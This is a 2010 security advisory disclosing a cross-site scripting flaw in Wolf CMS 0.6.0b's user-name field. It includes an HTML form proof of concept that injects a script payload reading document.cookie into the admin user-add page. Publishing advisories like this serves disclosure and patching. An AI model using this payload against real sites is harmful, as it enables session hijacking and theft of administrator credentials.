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XSS vulnerability in Wolf CMS

Vulnerability ID: HTB22680
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms_2.html
Product: Wolf CMS
Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) 
Vulnerable Version: 0.6.0b and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "wolf/app/controllers/UserController.php" script to properly sanitize user-supplied input in "user[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/user/add"; method="post" name="main">
<input type="hidden" name="user[name]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[email]" value="">
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user[language]" value="pl">
<input type="hidden" name="commit" value="Save">

Solution: Upgrade to the most recent version